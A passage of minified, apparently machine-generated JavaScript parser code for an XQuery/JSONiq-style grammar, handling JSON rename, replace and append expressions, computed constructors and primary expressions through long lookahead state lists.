==65192||Wl==66216||Wl==66728||Wl==67752||Wl==68264||Wl==68776||Wl==69288||Wl==69800||Wl==70312||Wl==70824||Wl==71336||Wl==72872||Wl==73384||Wl==75432||Wl==75944||Wl==76968||Wl==77992||Wl==78504||Wl==79016||Wl==79528||Wl==80040||Wl==80552||Wl==82600||Wl==83112||Wl==83624||Wl==84136||Wl==84648||Wl==85160||Wl==85672||Wl==86184||Wl==86696||Wl==87208||Wl==88744||Wl==89256||Wl==89768||Wl==90792||Wl==91816||Wl==92840||Wl==93864||Wl==94376||Wl==94888||Wl==95912||Wl==96424||Wl==96936||Wl==99496||Wl==100008||Wl==100520||Wl==101032||Wl==101544||Wl==103592||Wl==104104||Wl==104616||Wl==105128||Wl==105640||Wl==106152||Wl==107688||Wl==110760||Wl==111272||Wl==112808||Wl==113832||Wl==114344||Wl==114856||Wl==115368||Wl==115880||Wl==116904||Wl==117416||Wl==117928||Wl==118440||Wl==118952||Wl==119464||Wl==119976||Wl==122536||Wl==123048||Wl==123560||Wl==124072||Wl==125608||Wl==126632||Wl==127144||Wl==127656||Wl==129704||Wl==130216||Wl==130728||Wl==131240||Wl==131752||Wl==132264||Wl==132776||Wl==133288||Wl==134312||Wl==134824||Wl==136360||Wl==136872||Wl==137384||Wl==137896||Wl==139432||Wl==139944||Wl==141480||Wl==144040||Wl==145064)&&Hl(168),Il(267),Xf(),Hl(165),Il(267),Xf();switch($l){case 82:ql(72);break;default:Wl=$l}if(Wl==110162){Wl=uc(14,Vl);if(Wl==0){var a=Xl,f=Vl,l=$l,c=Jl,h=Kl,p=Ql,d=Gl,v=Yl;try{Hl(82),Il(72),Hl(215),Il(267),Xf(),oc(14,f,-1)}catch(m){Xl=a,Vl=f,$l=l,$l==0?cc=f:(Jl=c,Kl=h,Ql=p,Ql==0?cc=h:(Gl=d,Yl=v,cc=v)),oc(14,f,-2)}Wl=-2}}Wl==-1&&(Hl(82),Il(72),Hl(215),Il(267),Xf()),oc(12,t,-1),Wl=-3}catch(g){Wl=-2,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(12,t,-2)}}}switch(Wl){case-1:Hl(161),Il(267);switch($l){case 168:ql(269);break;default:Wl=$l}if(Wl==18088){Wl=uc(13,Vl);if(Wl==0){var a=Xl,f=Vl,l=$l,c=Jl,h=Kl,p=Ql,d=Gl,v=Yl;try{Hl(168),oc(13,f,-1)}catch(m){Xl=a,Vl=f,$l=l,$l==0?cc=f:(Jl=c,Kl=h,Ql=p,Ql==0?cc=h:(Gl=d,Yl=v,cc=v)),oc(13,f,-2)}Wl=-2}}(Wl==-1||Wl==3240||Wl==4264||Wl==4776||Wl==5288||Wl==5800||Wl==16040||Wl==16552||Wl==17064||Wl==18600||Wl==21160||Wl==22184||Wl==24232||Wl==24744||Wl==28328||Wl==28840||Wl==30888||Wl==35496||Wl==36520||Wl==37544||Wl==38056||Wl==38568||Wl==39080||Wl==40104||Wl==40616||Wl==41128||Wl==41640||Wl==42152||Wl==42664||Wl==43176||Wl==43688||Wl==44200||Wl==44712||Wl==45736||Wl==46248||Wl==46760||Wl==47272||Wl==48296||Wl==48808||Wl==49832||Wl==50344||Wl==50856||Wl==52392||Wl==52904||Wl==53416||Wl==53928||Wl==54440||Wl==54952||Wl==55976||Wl==56488||Wl==57e3||Wl==57512||Wl==58024||Wl==58536||Wl==61096||Wl==61608||Wl==62120||Wl==62632||Wl==63144||Wl==63656||Wl==64168||Wl==64680||Wl==65192||Wl==66216||Wl==66728||Wl==67752||Wl==68264||Wl==68776||Wl==69288||Wl==69800||Wl==70312||Wl==70824||Wl==71336||Wl==72872||Wl==73384||Wl==75432||Wl==75944||Wl==76968||Wl==77992||Wl==78504||Wl==79016||Wl==79528||Wl==80040||Wl==80552||Wl==82600||Wl==83112||Wl==83624||Wl==84136||Wl==84648||Wl==85160||Wl==85672||Wl==86184||Wl==86696||Wl==87208||Wl==88744||Wl==89256||Wl==89768||Wl==90792||Wl==91816||Wl==92840||Wl==93864||Wl==94376||Wl==94888||Wl==95912||Wl==96424||Wl==96936||Wl==99496||Wl==100008||Wl==100520||Wl==101032||Wl==101544||Wl==103592||Wl==104104||Wl==104616||Wl==105128||Wl==105640||Wl==106152||Wl==107688||Wl==110760||Wl==111272||Wl==112808||Wl==113832||Wl==114344||Wl==114856||Wl==115368||Wl==115880||Wl==116904||Wl==117416||Wl==117928||Wl==118440||Wl==118952||Wl==119464||Wl==119976||Wl==122536||Wl==123048||Wl==123560||Wl==124072||Wl==125608||Wl==126632||Wl==127144||Wl==127656||Wl==129704||Wl==130216||Wl==130728||Wl==131240||Wl==131752||Wl==132264||Wl==132776||Wl==133288||Wl==134312||Wl==134824||Wl==136360||Wl==136872||Wl==137384||Wl==137896||Wl==139432||Wl==139944||Wl==141480||Wl==144040||Wl==145064)&&Hl(168),Il(267),Xf(),Hl(165),Il(267),Xf();switch($l){case 82:ql(72);break;default:Wl=$l}if(Wl==110162){Wl=uc(14,Vl);if(Wl==0){var a=Xl,f=Vl,l=$l,c=Jl,h=Kl,p=Ql,d=Gl,v=Yl;try{Hl(82),Il(72),Hl(215),Il(267),Xf(),oc(14,f,-1)}catch(m){Xl=a,Vl=f,$l=l,$l==0?cc=f:(Jl=c,Kl=h,Ql=p,Ql==0?cc=h:(Gl=d,Yl=v,cc=v)),oc(14,f,-2)}Wl=-2}}Wl==-1&&(Hl(82),Il(72),Hl(215),Il(267),Xf());break;case-3:break;default:Hl(161),Il(268);switch($l){case 168:ql(282);break;default:Wl=$l}if(Wl==18088){Wl=uc(15,Vl);if(Wl==0){var a=Xl,f=Vl,l=$l,c=Jl,h=Kl,p=Ql,d=Gl,v=Yl;try{Hl(168),oc(15,f,-1)}catch(m){Xl=a,Vl=f,$l=l,$l==0?cc=f:(Jl=c,Kl=h,Ql=p,Ql==0?cc=h:(Gl=d,Yl=v,cc=v)),oc(15,f,-2)}Wl=-2}}(Wl==-1||Wl==3240||Wl==4264||Wl==4776||Wl==5288||Wl==5800||Wl==9896||Wl==16040||Wl==16552||Wl==17064||Wl==18600||Wl==21160||Wl==22184||Wl==24232||Wl==24744||Wl==28328||Wl==28840||Wl==30888||Wl==35496||Wl==36520||Wl==37544||Wl==38056||Wl==38568||Wl==39080||Wl==40104||Wl==40616||Wl==41128||Wl==41640||Wl==42152||Wl==42664||Wl==43176||Wl==43688||Wl==44200||Wl==44712||Wl==45736||Wl==46248||Wl==46760||Wl==47272||Wl==48296||Wl==48808||Wl==49832||Wl==50344||Wl==50856||Wl==52392||Wl==52904||Wl==53416||Wl==53928||Wl==54440||Wl==54952||Wl==55976||Wl==56488||Wl==57e3||Wl==57512||Wl==58024||Wl==58536||Wl==61096||Wl==61608||Wl==62120||Wl==62632||Wl==63144||Wl==63656||Wl==64168||Wl==64680||Wl==65192||Wl==66216||Wl==66728||Wl==67752||Wl==68264||Wl==68776||Wl==69288||Wl==69800||Wl==70312||Wl==70824||Wl==71336||Wl==72872||Wl==73384||Wl==75432||Wl==75944||Wl==76968||Wl==77992||Wl==78504||Wl==79016||Wl==79528||Wl==80040||Wl==80552||Wl==82600||Wl==83112||Wl==83624||Wl==84136||Wl==84648||Wl==85160||Wl==85672||Wl==86184||Wl==86696||Wl==87208||Wl==88744||Wl==89256||Wl==89768||Wl==90792||Wl==91816||Wl==92840||Wl==93864||Wl==94376||Wl==94888||Wl==95912||Wl==96424||Wl==96936||Wl==99496||Wl==100008||Wl==100520||Wl==101032||Wl==101544||Wl==103592||Wl==104104||Wl==104616||Wl==105128||Wl==105640||Wl==106152||Wl==107688||Wl==110760||Wl==111272||Wl==112808||Wl==113832||Wl==114344||Wl==114856||Wl==115368||Wl==115880||Wl==116904||Wl==117416||Wl==117928||Wl==118440||Wl==118952||Wl==119464||Wl==119976||Wl==122536||Wl==123048||Wl==123560||Wl==124072||Wl==125608||Wl==126632||Wl==127144||Wl==127656||Wl==129704||Wl==130216||Wl==130728||Wl==131240||Wl==131752||Wl==132264||Wl==132776||Wl==133288||Wl==134312||Wl==134824||Wl==136360||Wl==136872||Wl==137384||Wl==137896||Wl==139432||Wl==139944||Wl==141480||Wl==144040||Wl==145064)&&Hl(168),Il(268),Nl(),Hl(165),Il(267),Xf()}}function Yf(){ic.startNonterminal(\"JSONRenameExpr\",Vl),Pl(222),Il(260);switch($l){case 168:ql(261);break;default:Wl=$l}if(Wl==18088){Wl=uc(16,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Hl(168),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(16,Vl,Wl)}}(Wl==-1||Wl==3240||Wl==4264||Wl==4776||Wl==5288||Wl==5800||Wl==16040||Wl==16552||Wl==17064||Wl==28328||Wl==28840||Wl==30888||Wl==35496||Wl==36520||Wl==37544||Wl==38056||Wl==38568||Wl==39080||Wl==40104||Wl==40616||Wl==41128||Wl==41640||Wl==42152||Wl==42664||Wl==43176||Wl==43688||Wl==44200||Wl==44712||Wl==45736||Wl==46248||Wl==46760||Wl==47272||Wl==48296||Wl==48808||Wl==49832||Wl==50344||Wl==50856||Wl==52392||Wl==52904||Wl==53416||Wl==53928||Wl==54440||Wl==54952||Wl==55976||Wl==56488||Wl==57e3||Wl==57512||Wl==58024||Wl==58536||Wl==61096||Wl==61608||Wl==62120||Wl==62632||Wl==63144||Wl==63656||Wl==64168||Wl==64680||Wl==65192||Wl==66216||Wl==66728||Wl==67752||Wl==68264||Wl==68776||Wl==69288||Wl==69800||Wl==70312||Wl==70824||Wl==71336||Wl==72872||Wl==73384||Wl==75432||Wl==75944||Wl==76968||Wl==77992||Wl==78504||Wl==79016||Wl==79528||Wl==80040||Wl==80552||Wl==82600||Wl==83112||Wl==83624||Wl==84136||Wl==84648||Wl==85160||Wl==85672||Wl==86184||Wl==86696||Wl==87208||Wl==88744||Wl==89256||Wl==89768||Wl==90792||Wl==91816||Wl==92840||Wl==93864||Wl==94376||Wl==94888||Wl==95912||Wl==96424||Wl==96936||Wl==99496||Wl==100008||Wl==101032||Wl==101544||Wl==103592||Wl==104104||Wl==104616||Wl==105128||Wl==105640||Wl==106152||Wl==107688||Wl==110760||Wl==111272||Wl==112808||Wl==113832||Wl==114344||Wl==114856||Wl==115368||Wl==115880||Wl==116904||Wl==117416||Wl==117928||Wl==118440||Wl==118952||Wl==119464||Wl==119976||Wl==122536||Wl==123048||Wl==123560||Wl==124072||Wl==125608||Wl==126632||Wl==127144||Wl==127656||Wl==129704||Wl==130216||Wl==130728||Wl==131240||Wl==131752||Wl==132264||Wl==132776||Wl==133288||Wl==134312||Wl==134824||Wl==136360||Wl==136872||Wl==137384||Wl==137896||Wl==139432||Wl==139944||Wl==141480||Wl==144040||Wl==145064)&&Pl(168),Il(260),jl(),ei(),Pl(80),Il(267),jl(),Wf(),ic.endNonterminal(\"JSONRenameExpr\",Vl)}function Zf(){Hl(222),Il(260);switch($l){case 168:ql(261);break;default:Wl=$l}if(Wl==18088){Wl=uc(16,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Hl(168),oc(16,t,-1)}catch(a){Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(16,t,-2)}Wl=-2}}(Wl==-1||Wl==3240||Wl==4264||Wl==4776||Wl==5288||Wl==5800||Wl==16040||Wl==16552||Wl==17064||Wl==28328||Wl==28840||Wl==30888||Wl==35496||Wl==36520||Wl==37544||Wl==38056||Wl==38568||Wl==39080||Wl==40104||Wl==40616||Wl==41128||Wl==41640||Wl==42152||Wl==42664||Wl==43176||Wl==43688||Wl==44200||Wl==44712||Wl==45736||Wl==46248||Wl==46760||Wl==47272||Wl==48296||Wl==48808||Wl==49832||Wl==50344||Wl==50856||Wl==52392||Wl==52904||Wl==53416||Wl==53928||Wl==54440||Wl==54952||Wl==55976||Wl==56488||Wl==57e3||Wl==57512||Wl==58024||Wl==58536||Wl==61096||Wl==61608||Wl==62120||Wl==62632||Wl==63144||Wl==63656||Wl==64168||Wl==64680||Wl==65192||Wl==66216||Wl==66728||Wl==67752||Wl==68264||Wl==68776||Wl==69288||Wl==69800||Wl==70312||Wl==70824||Wl==71336||Wl==72872||Wl==73384||Wl==75432||Wl==75944||Wl==76968||Wl==77992||Wl==78504||Wl==79016||Wl==79528||Wl==80040||Wl==80552||Wl==82600||Wl==83112||Wl==83624||Wl==84136||Wl==84648||Wl==85160||Wl==85672||Wl==86184||Wl==86696||Wl==87208||Wl==88744||Wl==89256||Wl==89768||Wl==90792||Wl==91816||Wl==92840||Wl==93864||Wl==94376||Wl==94888||Wl==95912||Wl==96424||Wl==96936||Wl==99496||Wl==100008||Wl==101032||Wl==101544||Wl==103592||Wl==104104||Wl==104616||Wl==105128||Wl==105640||Wl==106152||Wl==107688||Wl==110760||Wl==111272||Wl==112808||Wl==113832||Wl==114344||Wl==114856||Wl==115368||Wl==115880||Wl==116904||Wl==117416||Wl==117928||Wl==118440||Wl==118952||Wl==119464||Wl==119976||Wl==122536||Wl==123048||Wl==123560||Wl==124072||Wl==125608||Wl==126632||Wl==127144||Wl==127656||Wl==129704||Wl==130216||Wl==130728||Wl==131240||Wl==131752||Wl==132264||Wl==132776||Wl==133288||Wl==134312||Wl==134824||Wl==136360||Wl==136872||Wl==137384||Wl==137896||Wl==139432||Wl==139944||Wl==141480||Wl==144040||Wl==145064)&&Hl(168),Il(260),ti(),Hl(80),Il(267),Xf()}function el(){ic.startNonterminal(\"JSONReplaceExpr\",Vl),Pl(223),Il(85),Pl(267),Il(67),Pl(200),Il(59),Pl(168),Il(260),jl(),ei(),Pl(276),Il(267),jl(),Wf(),ic.endNonterminal(\"JSONReplaceExpr\",Vl)}function tl(){Hl(223),Il(85),Hl(267),Il(67),Hl(200),Il(59),Hl(168),Il(260),ti(),Hl(276),Il(267),Xf()}function nl(){ic.startNonterminal(\"JSONAppendExpr\",Vl),Pl(78),Il(267);switch($l){case 168:ql(269);break;default:Wl=$l}if(Wl==18088){Wl=uc(17,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Hl(168),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(17,Vl,Wl)}}(Wl==-1||Wl==3240||Wl==4264||Wl==4776||Wl==5288||Wl==5800||Wl==16040||Wl==16552||Wl==17064||Wl==18600||Wl==21160||Wl==22184||Wl==24232||Wl==24744||Wl==28328||Wl==28840||Wl==30888||Wl==35496||Wl==36520||Wl==37544||Wl==38056||Wl==38568||Wl==39080||Wl==40104||Wl==40616||Wl==41128||Wl==41640||Wl==42152||Wl==42664||Wl==43176||Wl==43688||Wl==44200||Wl==44712||Wl==45736||Wl==46248||Wl==46760||Wl==47272||Wl==48296||Wl==48808||Wl==49832||Wl==50344||Wl==50856||Wl==52392||Wl==52904||Wl==53416||Wl==53928||Wl==54440||Wl==54952||Wl==55976||Wl==56488||Wl==57e3||Wl==57512||Wl==58024||Wl==58536||Wl==61096||Wl==61608||Wl==62120||Wl==62632||Wl==63144||Wl==63656||Wl==64168||Wl==64680||Wl==65192||Wl==66216||Wl==66728||Wl==67752||Wl==68264||Wl==68776||Wl==69288||Wl==69800||Wl==70312||Wl==70824||Wl==71336||Wl==72872||Wl==73384||Wl==75432||Wl==75944||Wl==76968||Wl==77992||Wl==78504||Wl==79016||Wl==79528||Wl==80040||Wl==80552||Wl==82600||Wl==83112||Wl==83624||Wl==84136||Wl==84648||Wl==85160||Wl==85672||Wl==86184||Wl==86696||Wl==87208||Wl==88744||Wl==89256||Wl==89768||Wl==90792||Wl==91816||Wl==92840||Wl==93864||Wl==94376||Wl==94888||Wl==95912||Wl==96424||Wl==96936||Wl==99496||Wl==100008||Wl==100520||Wl==101032||Wl==101544||Wl==103592||Wl==104104||Wl==104616||Wl==105128||Wl==105640||Wl==106152||Wl==107688||Wl==110760||Wl==111272||Wl==112808||Wl==113832||Wl==114344||Wl==114856||Wl==115368||Wl==115880||Wl==116904||Wl==117416||Wl==117928||Wl==118440||Wl==118952||Wl==119464||Wl==119976||Wl==122536||Wl==123048||Wl==123560||Wl==124072||Wl==125608||Wl==126632||Wl==127144||Wl==127656||Wl==129704||Wl==130216||Wl==130728||Wl==131240||Wl==131752||Wl==132264||Wl==132776||Wl==133288||Wl==134312||Wl==134824||Wl==136360||Wl==136872||Wl==137384||Wl==137896||Wl==139432||Wl==139944||Wl==141480||Wl==144040||Wl==145064)&&Pl(168),Il(267),jl(),Wf(),Pl(165),Il(267),jl(),Wf(),ic.endNonterminal(\"JSONAppendExpr\",Vl)}function rl(){Hl(78),Il(267);switch($l){case 168:ql(269);break;default:Wl=$l}if(Wl==18088){Wl=uc(17,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Hl(168),oc(17,t,-1)}catch(a){Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(17,t,-2)}Wl=-2}}(Wl==-1||Wl==3240||Wl==4264||Wl==4776||Wl==5288||Wl==5800||Wl==16040||Wl==16552||Wl==17064||Wl==18600||Wl==21160||Wl==22184||Wl==24232||Wl==24744||Wl==28328||Wl==28840||Wl==30888||Wl==35496||Wl==36520||Wl==37544||Wl==38056||Wl==38568||Wl==39080||Wl==40104||Wl==40616||Wl==41128||Wl==41640||Wl==42152||Wl==42664||Wl==43176||Wl==43688||Wl==44200||Wl==44712||Wl==45736||Wl==46248||Wl==46760||Wl==47272||Wl==48296||Wl==48808||Wl==49832||Wl==50344||Wl==50856||Wl==52392||Wl==52904||Wl==53416||Wl==53928||Wl==54440||Wl==54952||Wl==55976||Wl==56488||Wl==57e3||Wl==57512||Wl==58024||Wl==58536||Wl==61096||Wl==61608||Wl==62120||Wl==62632||Wl==63144||Wl==63656||Wl==64168||Wl==64680||Wl==65192||Wl==66216||Wl==66728||Wl==67752||Wl==68264||Wl==68776||Wl==69288||Wl==69800||Wl==70312||Wl==70824||Wl==71336||Wl==72872||Wl==73384||Wl==75432||Wl==75944||Wl==76968||Wl==77992||Wl==78504||Wl==79016||Wl==79528||Wl==80040||Wl==80552||Wl==82600||Wl==83112||Wl==83624||Wl==84136||Wl==84648||Wl==85160||Wl==85672||Wl==86184||Wl==86696||Wl==87208||Wl==88744||Wl==89256||Wl==89768||Wl==90792||Wl==91816||Wl==92840||Wl==93864||Wl==94376||Wl==94888||Wl==95912||Wl==96424||Wl==96936||Wl==99496||Wl==100008||Wl==100520||Wl==101032||Wl==101544||Wl==103592||Wl==104104||Wl==104616||Wl==105128||Wl==105640||Wl==106152||Wl==107688||Wl==110760||Wl==111272||Wl==112808||Wl==113832||Wl==114344||Wl==114856||Wl==115368||Wl==115880||Wl==116904||Wl==117416||Wl==117928||Wl==118440||Wl==118952||Wl==119464||Wl==119976||Wl==122536||Wl==123048||Wl==123560||Wl==124072||Wl==125608||Wl==126632||Wl==127144||Wl==127656||Wl==129704||Wl==130216||Wl==130728||Wl==131240||Wl==131752||Wl==132264||Wl==132776||Wl==133288||Wl==134312||Wl==134824||Wl==136360||Wl==136872||Wl==137384||Wl==137896||Wl==139432||Wl==139944||Wl==141480||Wl==144040||Wl==145064)&&Hl(168),Il(267),Xf(),Hl(165),Il(267),Xf()}function il(){ic.startNonterminal(\"CommonContent\",Vl);switch($l){case 12:Pl(12);break;case 23:Pl(23);break;case 282:Pl(282);break;case 288:Pl(288);break;default:Ol()}ic.endNonterminal(\"CommonContent\",Vl)}function sl(){switch($l){case 12:Hl(12);break;case 23:Hl(23);break;case 282:Hl(282);break;case 288:Hl(288);break;default:Ml()}}function ol(){ic.startNonterminal(\"ContentExpr\",Vl),rf(),ic.endNonterminal(\"ContentExpr\",Vl)}function ul(){sf()}function al(){ic.startNonterminal(\"CompDocConstructor\",Vl),Pl(120),Il(90),jl(),Ol(),ic.endNonterminal(\"CompDocConstructor\",Vl)}function fl(){Hl(120),Il(90),Ml()}function ll(){ic.startNonterminal(\"CompAttrConstructor\",Vl),Pl(83),Il(250);switch($l){case 281:Pl(281),Il(267),jl(),G(),Pl(287);break;default:jl(),$a()}Il(90);switch($l){case 281:ql(281);break;default:Wl=$l}if(Wl==147225){Wl=uc(18,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Hl(281),Il(91),Hl(287),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(18,Vl,Wl)}}switch(Wl){case-1:Pl(281),Il(91),Pl(287);break;default:jl(),Ol()}ic.endNonterminal(\"CompAttrConstructor\",Vl)}function cl(){Hl(83),Il(250);switch($l){case 281:Hl(281),Il(267),Y(),Hl(287);break;default:Ja()}Il(90);switch($l){case 281:ql(281);break;default:Wl=$l}if(Wl==147225){Wl=uc(18,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Hl(281),Il(91),Hl(287),oc(18,t,-1),Wl=-3}catch(a){Wl=-2,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(18,t,-2)}}}switch(Wl){case-1:Hl(281),Il(91),Hl(287);break;case-3:break;default:Ml()}}function hl(){ic.startNonterminal(\"CompPIConstructor\",Vl),Pl(220),Il(242);switch($l){case 281:Pl(281),Il(267),jl(),G(),Pl(287);break;default:jl(),Ga()}Il(90);switch($l){case 281:ql(281);break;default:Wl=$l}if(Wl==147225){Wl=uc(19,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Hl(281),Il(91),Hl(287),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(19,Vl,Wl)}}switch(Wl){case-1:Pl(281),Il(91),Pl(287);break;default:jl(),Ol()}ic.endNonterminal(\"CompPIConstructor\",Vl)}function pl(){Hl(220),Il(242);switch($l){case 281:Hl(281),Il(267),Y(),Hl(287);break;default:Ya()}Il(90);switch($l){case 281:ql(281);break;default:Wl=$l}if(Wl==147225){Wl=uc(19,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Hl(281),Il(91),Hl(287),oc(19,t,-1),Wl=-3}catch(a){Wl=-2,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(19,t,-2)}}}switch(Wl){case-1:Hl(281),Il(91),Hl(287);break;case-3:break;default:Ml()}}function dl(){ic.startNonterminal(\"CompCommentConstructor\",Vl),Pl(97),Il(90),jl(),Ol(),ic.endNonterminal(\"CompCommentConstructor\",Vl)}function vl(){Hl(97),Il(90),Ml()}function ml(){ic.startNonterminal(\"CompTextConstructor\",Vl),Pl(249),Il(90),jl(),Ol(),ic.endNonterminal(\"CompTextConstructor\",Vl)}function gl(){Hl(249),Il(90),Ml()}function yl(){ic.startNonterminal(\"PrimaryExpr\",Vl);switch($l){case 187:ql(247);break;case 220:ql(245);break;case 281:ql(283);break;case 83:case 122:ql(253);break;case 97:case 249:ql(97);break;case 120:case 206:case 262:ql(148);break;case 135:case 197:case 255:ql(237);break;case 6:case 71:case 73:case 74:case 75:case 76:case 78:case 80:case 81:case 82:case 84:case 85:case 86:case 87:case 89:case 90:case 91:case 92:case 94:case 95:case 98:case 99:case 102:case 103:case 104:case 105:case 106:case 107:case 109:case 110:case 111:case 112:case 113:case 114:case 119:case 123:case 124:case 126:case 127:case 129:case 130:case 132:case 133:case 134:case 136:case 137:case 138:case 139:case 142:case 143:case 148:case 150:case 152:case 153:case 155:case 156:case 157:case 161:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 177:case 179:case 181:case 183:case 184:case 185:case 189:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 210:case 216:case 217:case 222:case 223:case 224:case 225:case 226:case 228:case 229:case 232:case 233:case 234:case 239:case 240:case 241:case 242:case 245:case 253:case 254:case 256:case 257:case 258:case 260:case 263:case 266:case 267:case 268:case 269:case 272:case 273:case 276:ql(95);break;default:Wl=$l}if(Wl==3353||Wl==4377||Wl==4889||Wl==5401||Wl==5913||Wl==16153||Wl==16665||Wl==17177||Wl==18055||Wl==18117||Wl==18175||Wl==18201||Wl==18713||Wl==21273||Wl==22297||Wl==24345||Wl==24857||Wl==28441||Wl==28953||Wl==31001||Wl==35609||Wl==36633||Wl==37657||Wl==38169||Wl==38681||Wl==39193||Wl==40217||Wl==40729||Wl==41241||Wl==41753||Wl==42265||Wl==42777||Wl==43289||Wl==43801||Wl==44313||Wl==44825||Wl==45849||Wl==46361||Wl==46873||Wl==47385||Wl==48409||Wl==48921||Wl==49945||Wl==50457||Wl==50969||Wl==52505||Wl==53017||Wl==53529||Wl==54041||Wl==54553||Wl==55065||Wl==56089||Wl==56601||Wl==57113||Wl==57625||Wl==58137||Wl==58649||Wl==61209||Wl==61721||Wl==62233||Wl==62745||Wl==63257||Wl==63769||Wl==64281||Wl==64793||Wl==65305||Wl==66329||Wl==66841||Wl==67865||Wl==68377||Wl==68889||Wl==69401||Wl==69913||Wl==70425||Wl==70937||Wl==71449||Wl==72985||Wl==73497||Wl==75545||Wl==76057||Wl==77081||Wl==78105||Wl==78617||Wl==79129||Wl==79641||Wl==80153||Wl==80665||Wl==82713||Wl==83225||Wl==83737||Wl==84249||Wl==84761||Wl==85273||Wl==85785||Wl==86297||Wl==86809||Wl==87321||Wl==88857||Wl==89369||Wl==89881||Wl==90905||Wl==91929||Wl==92953||Wl==93977||Wl==94489||Wl==95001||Wl==96025||Wl==96537||Wl==97049||Wl==99609||Wl==100121||Wl==100633||Wl==101145||Wl==101657||Wl==103705||Wl==104217||Wl==104729||Wl==105241||Wl==105753||Wl==106265||Wl==107801||Wl==110873||Wl==111385||Wl==112921||Wl==113945||Wl==114457||Wl==114969||Wl==115481||Wl==115993||Wl==117017||Wl==117529||Wl==118041||Wl==118553||Wl==119065||Wl==119577||Wl==120089||Wl==122649||Wl==123161||Wl==123673||Wl==124185||Wl==125721||Wl==126745||Wl==127257||Wl==127769||Wl==129817||Wl==130329||Wl==130841||Wl==131353||Wl==131865||Wl==132377||Wl==132889||Wl==133401||Wl==134425||Wl==134937||Wl==136473||Wl==136985||Wl==137497||Wl==138009||Wl==139545||Wl==140057||Wl==141593||Wl==144153||Wl==145177||Wl==147225){Wl=uc(20,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{vi(),Wl=-1}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Hi(),Wl=-5}catch(f){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Ml(),Wl=-10}catch(l){Wl=-11}}}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(20,Vl,Wl)}}switch(Wl){case-1:case 8:case 9:case 10:case 11:case 12935:case 12997:case 13055:case 13447:case 13509:case 13567:case 13959:case 14021:case 14079:case 19591:case 19653:case 19711:case 20103:case 20165:case 20223:case 21127:case 21189:case 21247:case 21639:case 21701:case 21759:case 22151:case 22213:case 22271:case 23175:case 23237:case 23295:case 24199:case 24261:case 24319:case 24711:case 24773:case 24831:case 25735:case 25797:case 25855:case 27783:case 27845:case 27903:case 28295:case 28357:case 28415:case 29831:case 29893:case 29951:case 30343:case 30405:case 30463:case 31367:case 31429:case 31487:case 31879:case 31941:case 31999:case 32391:case 32453:case 32511:case 32903:case 32965:case 33023:case 35463:case 35525:case 35583:case 35975:case 36037:case 36095:case 36487:case 36549:case 36607:case 39047:case 39109:case 39167:case 41095:case 41157:case 41215:case 41607:case 41669:case 41727:case 42119:case 42181:case 42239:case 43655:case 43717:case 43775:case 45191:case 45253:case 45311:case 45703:case 45765:case 45823:case 46215:case 46277:case 46335:case 46727:case 46789:case 46847:case 48775:case 48837:case 48895:case 51335:case 51397:case 51455:case 54407:case 54469:case 54527:case 56455:case 56517:case 56575:case 58503:case 58565:case 58623:case 61063:case 61125:case 61183:case 63111:case 63173:case 63231:case 63623:case 63685:case 63743:case 65159:case 65221:case 65279:case 66183:case 66245:case 66303:case 67719:case 67781:case 67839:case 71303:case 71365:case 71423:case 75911:case 75973:case 76031:case 76935:case 76997:case 77055:case 77959:case 78021:case 78079:case 78471:case 78533:case 78591:case 83079:case 83141:case 83199:case 84103:case 84165:case 84223:case 84615:case 84677:case 84735:case 85127:case 85189:case 85247:case 89735:case 89797:case 89855:case 90759:case 